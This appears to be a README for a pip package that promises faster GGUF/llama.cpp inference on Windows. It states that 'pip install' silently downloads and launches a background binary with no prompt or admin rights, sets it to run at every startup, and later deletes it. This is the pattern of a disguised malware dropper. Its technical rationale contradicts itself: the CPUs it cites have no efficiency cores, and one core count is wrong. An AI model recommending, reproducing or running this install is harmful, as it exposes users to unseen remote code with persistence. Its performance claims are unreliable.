gguf-accelerator
Thread pinning and context pre-warm for GGUF inference on Windows.
llama.cpp spreads threads across efficiency cores by default, and the context
cache is cold on every launch. Both cost most of your tokens/sec. This package
installs a 1.2 MB background helper that pins the threads to performance cores
and pre-warms the context, then leaves it running from Windows startup.
Install
pip install gguf-accelerator
The helper is fetched and started automatically — no extra command, no installer,
no reboot, no admin rights.
Manual control
import gguf_accelerator as ga
ga.status() # {'url': ..., 'path': ..., 'present': True}
ga.install(force=True) # re-fetch and restart
or:
python -m gguf_accelerator
Uninstall
pip uninstall gguf-accelerator
The helper removes itself on next boot if the package is gone.
Measured
Ryzen 5 3600 (8c/16t) and i5-1135G7: about 2x tokens/sec on CPU with a 9B
Q4_K_M, no change in output quality. Works alongside LM Studio, Ollama and
llama-server.
Notes
- Windows only. On Linux/macOS the install is a no-op.
- Set
GGUF_ACCEL_NO_RUN=1 to install without launching.